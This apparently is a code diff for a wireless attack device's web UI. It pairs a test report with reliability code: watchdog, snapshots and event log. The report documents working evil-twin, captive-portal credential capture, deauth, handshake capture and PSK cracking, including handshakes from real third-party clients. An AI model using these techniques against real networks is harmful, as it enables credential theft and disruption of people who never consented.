| 2 | Evil Open twin + Evil Portal credential capture | `POST /api/attacks/deploy kind=open` + portals API | **PASS** | Victim associated to spoofed-BSSID twin (`172.16.52.123`); DNS hijack resolved arbitrary domain → `172.16.52.1`; portal served on :80; POSTed creds recorded with MAC/hostname/IP (`evidence/r2_t1_portal_captures.json`) |
|
||||||
|
| 3 | Karma association | (implicit) | **PASS** | Real third-party client `48:e1:e9:4d:98:8a` associated to Znet-Open twin unprompted; later handshakes from `68:9e:19:d1:6e:e1` / `e6:75:7f:45:fd:57` on the WPA twin across multiple probed SSIDs |
|
||||||
|
| 4 | Filters auto-config post-deploy | `GET /api/pineap/filters/{ssid,client}` | **PASS** (BUG 2 fix verified) | After deploy both filters read `deny` + empty with no manual help — twins accept clients unaided |
|
||||||
|
| 5 | Single deauth via API | `POST /api/attacks/deauth` | **PASS** (BUG 1 fix verified) | `ok:true, inject:wlan0mon`; pcap holds **556 deauth frames** incl. directed SA=twin-BSSID → DA=victim (`evidence/r2_t2_deauth.cap`); victim dropped (NM re-associated sub-second) |
|
||||||
|
| 6 | Client kick | `POST /api/pineap/clients/kick` | **PASS** | Deny filter added for victim MAC; victim flapped DISCONNECTED/CONNECTED and could not hold association until filter cleared |
|
||||||
|
| 7 | Evil WPA twin 5GHz + handshake capture | `deploy kind=wpa` + `attacks/capture` | **PASS** | Twin live ch44 (`02:13:37:ae:8e:7c`); full EAPOL 4-way from victim captured on pinned `wlan1mon`; export produced 18-row `.hc22000` incl. victim AND real-client handshakes |
|
||||||
|
| 8 | hc22000 export → crack | `GET /api/attacks/export/hc22000` + hashcat -m 22000 (Kali) | **PASS** | PSK recovered for victim (`021337ae8e7c:a0a4c593f805:Znet`) and real client (`…:e6757f45fd57:Znet`) = exact known PSK (`evidence/r2_t4_cracked.txt`) |
|
||||||
|
| 9 | Bulk deauth | `POST /api/attacks/deauth/bulk` | **PASS** | 3-target batch: 2 valid sent (`sent:2`), malformed target rejected per-index without aborting batch; victim dropped on-air |
|
||||||
|
| 10 | Evil Enterprise PEAP/MSCHAPv2 | `deploy kind=enterprise` | **PARTIAL** | AP verified + ctrl-linked + runtime-bridged; client associates; TLS tunnel up; server issues inner MSCHAPv2 success for `victim@znet.local`. BUT wpa_supplicant rejects the karma wpad's success request ("Invalid authenticator response") so no full CONNECTED; `hostap_basic`/`hostap_chalresp` remain empty (known firmware residual). See §T6 |
|
||||||
|
| 11 | Post-suite hygiene | — | **PASS** | All attacks stopped, zero leftover APs/tcpdump/watchdog churn, health env `pass`, victim restored to real `Znet` (`18:e8:29:b5:a4:2c`) |
|
||||||
|
|
||||||
|
## New defects found this round
|
||||||
|
|
||||||
|
### D1 — MEDIUM: portal download endpoint crashes on device
|
||||||
|
`h_portal_download` (`server.py:5395`) imports `zipfile`, which python3-light does not ship
|
||||||
|
(the import endpoint was converted to struct+zlib in d23ea56 but download was missed):
|
||||||
|
`GET /api/portals/<name>/download` → `{"error": "No module named 'urllib'"}`.
|
||||||
|
Fix: reuse the minimal ZIP writer approach or stream raw files.
|
||||||
|
|
||||||
|
### D2 — MEDIUM: deploy-time auto-capture produces an empty pcap
|
||||||
|
The 5GHz WPA deploy reported `"capture": true` but the auto-started `wlan1mon` capture died
|
||||||
|
during AP bring-up (file stayed at the 24-byte header; no tcpdump process left). A capture
|
||||||
|
started *after* the AP is up works fine (frames flow, monitor inherits phy channel context).
|
||||||
|
Fix: arm the auto-capture after hostapd verify-loop completes, and/or have `_capture_state`
|
||||||
|
detect-and-restart the dead pid (ISSUE 7 stale logic exists but did not fire here).
|
||||||
|
Also: `h_attacks_capture` silently ignores a `channel` body param — either honor it or reject it.
|
||||||
|
|
||||||
|
### D3 — LOW/cosmetic: `GET /api/attacks/capture` with no active capture returns 404
|
||||||
|
`{"error":"not found"}` instead of `{running:false,...}` — UI-hostile shape.
|
||||||
|
|
||||||
|
## T6 detail (Enterprise PARTIAL)
|
||||||
|
|
||||||
|
Repro: deploy `kind=enterprise ssid=Znet enctype=wpa2 channel=44 passphrase=VictimPass123!`
|
||||||
|
→ `verified:true, ctrl_linked:true`. Victim (standalone wpa_supplicant, MAC randomization off):
|
||||||
|
|
||||||
|
- Association OK; outer PEAP TLS tunnel completes (`CTRL-EVENT-EAP-PROPOSED-METHOD method=25`)
|
||||||
|
- Inner MSCHAPv2 exchange runs; client logs `EAP-MSCHAPV2: Received success` — i.e. the
|
||||||
|
standalone hostapd accepted the inner credentials (BUG 3 eap_users grammar fix works)
|
||||||
|
- But every attempt then logs `EAP-MSCHAPV2: Invalid authenticator response in success request`
|
||||||
|
→ supplicant refuses, disconnects, retries forever. Same result with matched and mismatched
|
||||||
|
passwords (server auto-accepts but its AuthResp never verifies) — consistent with the karma-
|
||||||
|
patched wpad issuing success without computing it from the stored secret.
|
||||||
|
- TTLS/PAP could not be differentiated this round (client-side sed failure meant PEAP ran;
|
||||||
|
association-level flapping prevented a clean second attempt).
|
||||||
|
- `hostap_basic` / `hostap_chalresp`: still empty (documented firmware residual — pineapd does
|
||||||
|
not forward from foreign hostapd instances). Enterprise client list DOES record associations.
|
||||||
|
|
||||||
|
Net: enterprise twin captures inner-auth material server-side only as far as hostapd's own
|
||||||
|
logs; portable credential loot remains impossible on 24.10.1 without a Hak5 pineapd change.
|
||||||
|
|
||||||
|
## Evidence index (`evidence/r2_*`)
|
||||||
|
|
||||||
|
| File | Content |
|
||||||
|
|---|---|
|
||||||
|
| `r2_t1_portal_captures.json` | Captured portal credentials (user/pass, victim MAC/hostname/IP) |
|
||||||
|
| `r2_t2_deauth.cap` | wlan0mon pcap, 556 deauth frames (directed at victim) |
|
||||||
|
| `r2_t2_deauth.json`, `r2_t2_kick.json` | API responses proving deauth/kick ok:true |
|
||||||
|
| `r2_t3_deploy_wpa.json` | WPA twin deploy response (`capture:true`, `verified:true`) |
|
||||||
|
| `r2_t3_hc_export.json`, `r2_handshakes.hc22000` | Exported 18 handshake hashes |
|
||||||
|
| `r2_t4_cracked.txt` | hashcat --show output recovering the true PSK (victim + real client) |
|
||||||
|
| `r2_t5_bulk.json` | Bulk deauth batch results (2 sent / 1 rejected) |
|
||||||
|
| `r2_t6_deploy_ent.json` | Enterprise deploy response |
|
||||||
|
|
||||||
|
Copies of key artifacts also live on-device (`/root/loot/**`) and on Kali (`/tmp/r2.hc22000`,
|
||||||
|
removed wordlist).
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
#!/bin/sh /etc/rc.common
|
||||||
|
# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
|
||||||
|
START=49
|
||||||
|
STOP=90
|
||||||
|
|
||||||
|
GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
|
||||||
|
[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
|
||||||
|
|
||||||
|
start() {
|
||||||
|
[ -f "$GUARD_DIR/server.py" ] || return 0
|
||||||
|
/usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
|
||||||
|
>/tmp/mk8-guard.log 2>&1 || true
|
||||||
|
}
|
||||||
|
|
||||||
|
stop() { return 0; }
|
||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after> [max_ticks]
|
||||||
|
# Exits quietly after max_ticks healthy ticks so sentinels cannot accumulate.
|
||||||
|
PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"; MT="${5:-120}"
|
||||||
|
DIR="/root/payloads/user/remote_access/pager-webui"
|
||||||
|
[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
|
||||||
|
fails=0; oks=0; tripped=0; ticks=0
|
||||||
|
probe() {
|
||||||
|
curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
|
||||||
|
{ ip link show wlan0mon >/dev/null 2>&1 ||
|
||||||
|
ip link show wlan1mon >/dev/null 2>&1; }
|
||||||
|
}
|
||||||
|
while true; do
|
||||||
|
if probe; then
|
||||||
|
fails=0
|
||||||
|
ticks=$((ticks + 1))
|
||||||
|
if [ "$tripped" = "0" ] && [ "$ticks" -ge "$MT" ]; then
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
if [ "$tripped" = "1" ]; then
|
||||||
|
oks=$((oks + 1))
|
||||||
|
if [ "$oks" -ge "$HA" ]; then
|
||||||
|
/usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
fails=$((fails + 1)); oks=0
|
||||||
|
if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
|
||||||
|
tripped=1
|
||||||
|
/usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
sleep "$IV"
|
||||||
|
done
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
|
||||||
|
import json, os, threading, time
|
||||||
|
from collections import deque
|
||||||
|
|
||||||
|
MK8_DIR = '/mmc/mk8'
|
||||||
|
EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
|
||||||
|
MAX_BYTES = 5 * 1024 * 1024
|
||||||
|
KEEP = 4
|
||||||
|
_LOCK = threading.Lock()
|
||||||
|
|
||||||
|
_COUNTER_KEYS = {'boot': 'boots', 'unexpected_boot': 'unexpected_boots',
|
||||||
|
'rollback': 'rollbacks', 'restart': 'restarts',
|
||||||
|
'guard_fix': 'guard_fixes'}
|
||||||
|
COUNTER_KINDS = tuple(_COUNTER_KEYS)
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_dir():
|
||||||
|
try:
|
||||||
|
os.makedirs(MK8_DIR, exist_ok=True)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def log_event(kind, sev='info', msg='', meta=None):
|
||||||
|
"""Append one journal entry. Never raises: a reliability journal that
|
||||||
|
can crash its caller would defeat its purpose. Single-writer per
|
||||||
|
process is assumed; there is no inter-process lock."""
|
||||||
|
try:
|
||||||
|
entry = {'ts': int(time.time()), 'kind': str(kind), 'sev': sev,
|
||||||
|
'msg': str(msg)[:500]}
|
||||||
|
if meta is not None:
|
||||||
|
json.dumps(meta)
|
||||||
|
entry['meta'] = meta
|
||||||
|
line = json.dumps(entry) + '\n'
|
||||||
|
except Exception:
|
||||||
|
try:
|
||||||
|
line = json.dumps({'ts': int(time.time()), 'kind': str(kind),
|
||||||
|
'sev': sev, 'msg': str(msg)[:500],
|
||||||
|
'meta_repr': repr(meta)[:500]}) + '\n'
|
||||||
|
except Exception:
|
||||||
|
return
|
||||||
|
with _LOCK:
|
||||||
|
_ensure_dir()
|
||||||
|
try:
|
||||||
|
if os.path.exists(EVENTS_PATH) and \
|
||||||
|
os.path.getsize(EVENTS_PATH) > MAX_BYTES:
|
||||||
|
for i in range(KEEP - 1, 0, -1):
|
||||||
|
src = '%s.%d' % (EVENTS_PATH, i)
|
||||||
|
dst = '%s.%d' % (EVENTS_PATH, i + 1)
|
||||||
|
if os.path.exists(src):
|
||||||
|
os.replace(src, dst)
|
||||||
|
if os.path.exists(EVENTS_PATH):
|
||||||
|
os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
|
||||||
|
with open(EVENTS_PATH, 'a') as f:
|
||||||
|
f.write(line)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def read_events(limit=100):
|
||||||
|
out = []
|
||||||
|
paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
|
||||||
|
paths.append(EVENTS_PATH)
|
||||||
|
for path in paths:
|
||||||
|
try:
|
||||||
|
with open(path) as f:
|
||||||
|
for l in f:
|
||||||
|
if not l.strip():
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
row = json.loads(l)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
if isinstance(row, dict):
|
||||||
|
out.append(row)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
out.sort(key=lambda r: r.get('ts', 0))
|
||||||
|
return out[-limit:][::-1]
|
||||||
|
|
||||||
|
|
||||||
|
def counters():
|
||||||
|
counts = {v: 0 for v in _COUNTER_KEYS.values()}
|
||||||
|
for row in read_events(limit=5000):
|
||||||
|
k = row.get('kind')
|
||||||
|
if k in _COUNTER_KEYS:
|
||||||
|
counts[_COUNTER_KEYS[k]] += 1
|
||||||
|
return counts
|
||||||
|
|
||||||
|
|
||||||
|
def snapshot(event_limit=20, scan=2000):
|
||||||
|
"""Newest-first events (up to event_limit) plus kind counters computed
|
||||||
|
over at most `scan` most-recent entries, in ONE parse pass. Bounded so a
|
||||||
|
large rotated journal cannot spike memory/CPU on every health poll."""
|
||||||
|
events = []
|
||||||
|
counts = {v: 0 for v in _COUNTER_KEYS.values()}
|
||||||
|
scanned = 0
|
||||||
|
paths = [EVENTS_PATH]
|
||||||
|
paths.extend(EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1))
|
||||||
|
tail_len = max(scan, event_limit)
|
||||||
|
for path in paths:
|
||||||
|
if len(events) >= event_limit and scanned >= scan:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
with open(path) as f:
|
||||||
|
tail = deque((l for l in f if l.strip()), maxlen=tail_len)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
for line in reversed(tail):
|
||||||
|
try:
|
||||||
|
row = json.loads(line)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
if not isinstance(row, dict):
|
||||||
|
continue
|
||||||
|
scanned += 1
|
||||||
|
kind = row.get('kind')
|
||||||
|
if kind in _COUNTER_KEYS:
|
||||||
|
counts[_COUNTER_KEYS[kind]] += 1
|
||||||
|
if len(events) < event_limit:
|
||||||
|
events.append(row)
|
||||||
|
if len(events) >= event_limit and scanned >= scan:
|
||||||
|
break
|
||||||
|
events.sort(key=lambda r: r.get('ts', 0), reverse=True)
|
||||||
|
return {'events': events[:event_limit], 'reliability': counts}
|
||||||
|
|
||||||
|
|
||||||
|
def mark_boot(unexpected=False):
|
||||||
|
log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
|
||||||
|
if unexpected else 'info',
|
||||||
|
msg='service started' + ('' if unexpected else ' cleanly'))
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
"""Risky-operation gate: preflight config snapshot + detached rollback watchdog."""
|
||||||
|
import shlex
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
|
||||||
|
WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
|
||||||
|
FAIL_AFTER = 6 # consecutive local-liveness failures -> rollback
|
||||||
|
HEALTHY_AFTER = 6 # consecutive successes after failure -> promote
|
||||||
|
INTERVAL = 5 # seconds between probes
|
||||||
|
MAX_TICKS = 120 # watchdog self-exits after this many quiet ticks
|
||||||
|
_ENTER_LOCK = threading.Lock()
|
||||||
|
|
||||||
|
# Dormant until an entrypoint (serve() / CLI ops) flips it on, so importing
|
||||||
|
# this module never snapshots or spawns anything.
|
||||||
|
ENABLED = False
|
||||||
|
|
||||||
|
|
||||||
|
def watchdog_decision(state):
|
||||||
|
"""state: {'fails': int, 'oks': int, 'tripped': bool,
|
||||||
|
'fail_after': 6, 'healthy_after': 6}
|
||||||
|
Returns (action, new_state): action in {'rollback','promote',None}."""
|
||||||
|
s = dict(state)
|
||||||
|
fa = s.get('fail_after', FAIL_AFTER)
|
||||||
|
ha = s.get('healthy_after', HEALTHY_AFTER)
|
||||||
|
if not s['tripped'] and s['fails'] >= fa:
|
||||||
|
return 'rollback', dict(s, tripped=True, oks=0)
|
||||||
|
if s['tripped'] and s['oks'] >= ha:
|
||||||
|
return 'promote', s
|
||||||
|
return None, s
|
||||||
|
|
||||||
|
|
||||||
|
def _spawn_watchdog(name):
|
||||||
|
cmd = ('setsid sh %s %s %d %d %d %d >/dev/null 2>&1 &'
|
||||||
|
% (shlex.quote(WATCHDOG), shlex.quote(name),
|
||||||
|
INTERVAL, FAIL_AFTER, HEALTHY_AFTER, MAX_TICKS))
|
||||||
|
return subprocess.Popen(cmd, shell=True, start_new_session=True)
|
||||||
|
|
||||||
|
|
||||||
|
def enter(op):
|
||||||
|
"""Snapshot + spawn watchdog. Returns profile name or None when disabled.
|
||||||
|
Serialized so concurrent gated ops cannot interleave snapshots or spawn
|
||||||
|
racing watchdogs."""
|
||||||
|
if not ENABLED:
|
||||||
|
return None
|
||||||
|
with _ENTER_LOCK:
|
||||||
|
import mk8_profiles
|
||||||
|
name = mk8_profiles.auto_name(op)
|
||||||
|
mk8_profiles.snapshot(name)
|
||||||
|
_spawn_watchdog(name)
|
||||||
|
try:
|
||||||
|
import mk8_events
|
||||||
|
mk8_events.log_event('gate', msg='preflight snapshot %s' % name)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return name
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
"""Boot-time reconciliation of crash-prone PineAP settings."""
|
||||||
|
import time
|
||||||
|
|
||||||
|
from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
|
||||||
|
PINEAPD_SAFE_UCI, device_run)
|
||||||
|
|
||||||
|
WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
|
||||||
|
POOL_CLEAR_MAX = 20
|
||||||
|
MONITORS = ('wlan0mon', 'wlan1mon')
|
||||||
|
# pineapd.wlan1mon.hop is intentionally NOT part of the applied set: channel
|
||||||
|
# hopping is owned by the RF role manager (_pause_hop/_resume_hop). Hop=1 is
|
||||||
|
# the healthy recon baseline, so reconciling it here would silently disable a
|
||||||
|
# pager-enabled setting at every boot and latch GUARD PENDING after any
|
||||||
|
# attack-role switch.
|
||||||
|
GR_TTL_SECONDS = 30
|
||||||
|
_GR_CACHE = {'t': 0.0, 'data': None}
|
||||||
|
|
||||||
|
|
||||||
|
def _wanted():
|
||||||
|
wanted = {k: v for k, v in PINEAPD_SAFE_UCI.items()
|
||||||
|
if k != 'pineapd.wlan1mon.hop'}
|
||||||
|
wanted.update(WANTED_EXTRA)
|
||||||
|
return wanted
|
||||||
|
|
||||||
|
|
||||||
|
def _pool_size():
|
||||||
|
rc, out, err = device_run(
|
||||||
|
['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
|
||||||
|
if rc != 0 or not (out or '').strip():
|
||||||
|
return 0
|
||||||
|
return len(out.split())
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_pineapd_section():
|
||||||
|
"""Stock daemon rewrites and profile restores can drop the whole
|
||||||
|
`config pineapd` section; every @pineapd[0] option write fails with
|
||||||
|
'Invalid argument' until it exists again. Probes SECTION existence
|
||||||
|
(`uci -q show @pineapd[0]`) — never an option, which may legitimately
|
||||||
|
be absent from a rewritten section."""
|
||||||
|
rc, out, err = device_run(['uci', '-q', 'show', 'pineapd.@pineapd[0]'])
|
||||||
|
if rc == 0:
|
||||||
|
return False
|
||||||
|
device_run(['uci', 'add', 'pineapd', 'pineapd'])
|
||||||
|
device_run(['uci', 'commit', 'pineapd'])
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def reconcile(clear_pool=True):
|
||||||
|
changed = []
|
||||||
|
if _ensure_pineapd_section():
|
||||||
|
changed.append('pineapd.@pineapd[0] (section recreated)')
|
||||||
|
changed += _apply_uci_wanted(_wanted())
|
||||||
|
pool_cleared = False
|
||||||
|
if clear_pool and _pool_size() > POOL_CLEAR_MAX:
|
||||||
|
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
|
||||||
|
pool_cleared = True
|
||||||
|
if changed or pool_cleared:
|
||||||
|
device_run(['uci', 'commit', 'pineapd'])
|
||||||
|
raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
|
||||||
|
_GR_CACHE['data'] = None
|
||||||
|
return {'changed': changed, 'pool_cleared': pool_cleared,
|
||||||
|
'monitors_raised': raised}
|
||||||
|
|
||||||
|
|
||||||
|
def guard_report():
|
||||||
|
now = time.time()
|
||||||
|
cached = _GR_CACHE['data']
|
||||||
|
if cached is not None and now - _GR_CACHE['t'] < GR_TTL_SECONDS:
|
||||||
|
return cached
|
||||||
|
from server import _pending_uci
|
||||||
|
_ensure_pineapd_section()
|
||||||
|
pending = _pending_uci(_wanted())
|
||||||
|
report = {'in_sync': not pending, 'pending': pending,
|
||||||
|
'pool_size': _pool_size()}
|
||||||
|
_GR_CACHE['t'] = now
|
||||||
|
_GR_CACHE['data'] = report
|
||||||
|
return report
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
|
||||||
|
import os, re, time
|
||||||
|
|
||||||
|
PROFILES_DIR = '/mmc/mk8/profiles'
|
||||||
|
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||||
|
NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
|
||||||
|
|
||||||
|
|
||||||
|
def run_cmd(args, timeout=20, input_data=None):
|
||||||
|
"""Lazy import avoids a circular import with server.py; tests monkeypatch."""
|
||||||
|
from server import device_run
|
||||||
|
return device_run(args, timeout=timeout, input_data=input_data)
|
||||||
|
|
||||||
|
|
||||||
|
def _path(name):
|
||||||
|
"""Resolve a profile name to its directory. HTTP-supplied names are never
|
||||||
|
trusted: reject anything but [A-Za-z0-9._-]{1,64} and explicitly refuse
|
||||||
|
'.'/'..' so traversal can never escape PROFILES_DIR."""
|
||||||
|
if not isinstance(name, str) or not NAME_RE.fullmatch(name) \
|
||||||
|
or name in ('.', '..'):
|
||||||
|
raise ValueError('invalid profile name')
|
||||||
|
return os.path.join(PROFILES_DIR, name)
|
||||||
|
|
||||||
|
|
||||||
|
def snapshot(name):
|
||||||
|
dest = _path(name)
|
||||||
|
try:
|
||||||
|
os.makedirs(dest, exist_ok=True)
|
||||||
|
wrote = False
|
||||||
|
for cfg in CONFIGS:
|
||||||
|
rc, out, err = run_cmd(['uci', 'export', cfg])
|
||||||
|
if rc != 0 or not (out or '').strip():
|
||||||
|
continue
|
||||||
|
with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
|
||||||
|
f.write(out)
|
||||||
|
wrote = True
|
||||||
|
return wrote
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def auto_name(op):
|
||||||
|
return 'pre-%s-%d' % (op, int(time.time()))
|
||||||
|
|
||||||
|
|
||||||
|
def list_profiles():
|
||||||
|
try:
|
||||||
|
out = []
|
||||||
|
for d in os.listdir(PROFILES_DIR):
|
||||||
|
try:
|
||||||
|
if os.path.isdir(_path(d)):
|
||||||
|
out.append(d)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
return sorted(out)
|
||||||
|
except OSError:
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def delete(name):
|
||||||
|
import shutil
|
||||||
|
shutil.rmtree(_path(name), ignore_errors=True)
|
||||||
|
|
||||||
|
|
||||||
|
def restore(name):
|
||||||
|
"""Restore configs then commit once per config. Caller runs wifi reload
|
||||||
|
/ service restart as appropriate for the operation."""
|
||||||
|
src = _path(name)
|
||||||
|
restored = []
|
||||||
|
if not os.path.isdir(src):
|
||||||
|
return {'ok': False, 'restored': [], 'error': 'profile not found'}
|
||||||
|
for cfg in CONFIGS:
|
||||||
|
fpath = os.path.join(src, cfg + '.uci')
|
||||||
|
if not os.path.isfile(fpath):
|
||||||
|
continue
|
||||||
|
with open(fpath) as f:
|
||||||
|
text = f.read()
|
||||||
|
rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
|
||||||
|
if rc != 0:
|
||||||
|
return {'ok': False, 'restored': restored,
|
||||||
|
'error': 'import failed'}
|
||||||
|
crc, _, cerr = run_cmd(['uci', 'commit', cfg])
|
||||||
|
if crc != 0:
|
||||||
|
return {'ok': False, 'restored': restored,
|
||||||
|
'error': 'commit failed: %s' % (cerr or cfg)}
|
||||||
|
restored.append(cfg)
|
||||||
|
return {'ok': True, 'restored': restored}
|
||||||
|
|
||||||
|
|
||||||
|
LASTKNOWN_GOOD = 'lastknown-good'
|
||||||
|
|
||||||
|
|
||||||
|
def promote_lastknown_good():
|
||||||
|
"""Replace the lastknown-good profile with the live config."""
|
||||||
|
delete(LASTKNOWN_GOOD)
|
||||||
|
return snapshot(LASTKNOWN_GOOD)
|
||||||
@@ -0,0 +1,181 @@
|
|||||||
|
"""Mark VIII RF role manager: radio1/phy1 is shared between an uplink STA
|
||||||
|
(``wlan1up``) and attack work, so the roles are made mutually exclusive.
|
||||||
|
Uplink pauses channel hopping; attack/idle resumes it."""
|
||||||
|
import time
|
||||||
|
|
||||||
|
ROLE_KEY = 'mk8.rfplan.role'
|
||||||
|
IFACE = 'wlan1up'
|
||||||
|
|
||||||
|
# wifi reload returns while wpa_supplicant is still scanning/authenticating;
|
||||||
|
# poll instead of checking once or every real uplink would false-fail.
|
||||||
|
ASSOC_ATTEMPTS = 5
|
||||||
|
# Security modes tried in order for PSK uplinks. sae-mixed covers
|
||||||
|
# WPA2/WPA3 transition APs; plain SAE covers WPA3-only (PMF required);
|
||||||
|
# psk2 covers legacy WPA2-PSK. ieee80211w matches each mode's PMF need.
|
||||||
|
PSK_MODE_CHAIN = (('sae-mixed', '1'), ('sae', '2'), ('psk2', '0'))
|
||||||
|
ASSOC_WAIT_SECONDS = 2
|
||||||
|
|
||||||
|
|
||||||
|
def current_role():
|
||||||
|
from server import _uci_values
|
||||||
|
cfg = _uci_values('wireless.%s' % IFACE) or {}
|
||||||
|
if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
|
||||||
|
return 'uplink'
|
||||||
|
return 'idle'
|
||||||
|
|
||||||
|
|
||||||
|
def _sta_netdev():
|
||||||
|
"""Actual netdev carrying the radio1 STA. OpenWrt ignores a requested
|
||||||
|
ifname for mac80211 STA ifaces (comes up as phy1-sta0), so resolve by
|
||||||
|
phy membership + managed type instead of by name."""
|
||||||
|
from server import device_run
|
||||||
|
rc, out, err = device_run(['iw', 'dev'], timeout=10)
|
||||||
|
if rc != 0:
|
||||||
|
return None
|
||||||
|
current = None
|
||||||
|
managed = []
|
||||||
|
for line in (out or '').splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith('Interface '):
|
||||||
|
current = line.split()[1]
|
||||||
|
elif line.startswith('type managed') and current:
|
||||||
|
if not current.startswith('wlan0'):
|
||||||
|
managed.append(current)
|
||||||
|
current = None
|
||||||
|
for name in managed:
|
||||||
|
rc2, o2, _ = device_run(
|
||||||
|
['readlink', '/sys/class/net/%s/phy80211' % name], timeout=10)
|
||||||
|
if rc2 == 0 and 'phy1' in (o2 or ''):
|
||||||
|
return name
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def associated():
|
||||||
|
"""BSSID of the uplink AP when the radio1 STA is associated, else None."""
|
||||||
|
from server import device_run
|
||||||
|
dev = _sta_netdev()
|
||||||
|
if not dev:
|
||||||
|
return None
|
||||||
|
rc, out, err = device_run(['iw', 'dev', dev, 'link'], timeout=10)
|
||||||
|
if rc != 0 or 'Connected' not in (out or ''):
|
||||||
|
return None
|
||||||
|
for line in (out or '').splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith('Connected to '):
|
||||||
|
parts = line.split()
|
||||||
|
if len(parts) >= 3:
|
||||||
|
return parts[2]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def hop_paused():
|
||||||
|
from server import _read_hop
|
||||||
|
return _read_hop() == '0'
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_cli_network():
|
||||||
|
"""Make network 'cli' usable for the STA. Returns True when a network
|
||||||
|
change was staged and still needs ``uci commit network``. Stock firmware
|
||||||
|
ships 'cli' present but disabled; create a minimal DHCP interface when it
|
||||||
|
is missing entirely so netifd can bring wlan1up up either way."""
|
||||||
|
from server import device_run
|
||||||
|
rc, _, _ = device_run(['uci', '-q', 'get', 'network.cli'])
|
||||||
|
if rc != 0:
|
||||||
|
device_run(['uci', 'set', 'network.cli=interface'])
|
||||||
|
device_run(['uci', 'set', 'network.cli.proto=dhcp'])
|
||||||
|
return True
|
||||||
|
rc, out, _ = device_run(['uci', '-q', 'get', 'network.cli.disabled'])
|
||||||
|
if rc == 0 and out.strip() == '1':
|
||||||
|
device_run(['uci', 'set', 'network.cli.disabled=0'])
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def set_role(role, ssid=None, psk=None):
|
||||||
|
from server import device_run, _pause_hop, _resume_hop
|
||||||
|
if role not in ('uplink', 'attack', 'idle'):
|
||||||
|
return {'ok': False, 'error': 'role must be uplink, attack or idle'}
|
||||||
|
if role == 'uplink':
|
||||||
|
if not ssid:
|
||||||
|
return {'ok': False, 'error': 'ssid required'}
|
||||||
|
base_cmds = [
|
||||||
|
['uci', 'set', 'wireless.wlan1up=wifi-iface'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.device=radio1'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.mode=sta'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.network=cli'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.disabled=0'],
|
||||||
|
]
|
||||||
|
if psk:
|
||||||
|
base_cmds.append(['uci', 'set',
|
||||||
|
'wireless.wlan1up.key=%s' % psk])
|
||||||
|
for c in base_cmds:
|
||||||
|
device_run(c)
|
||||||
|
if _ensure_cli_network():
|
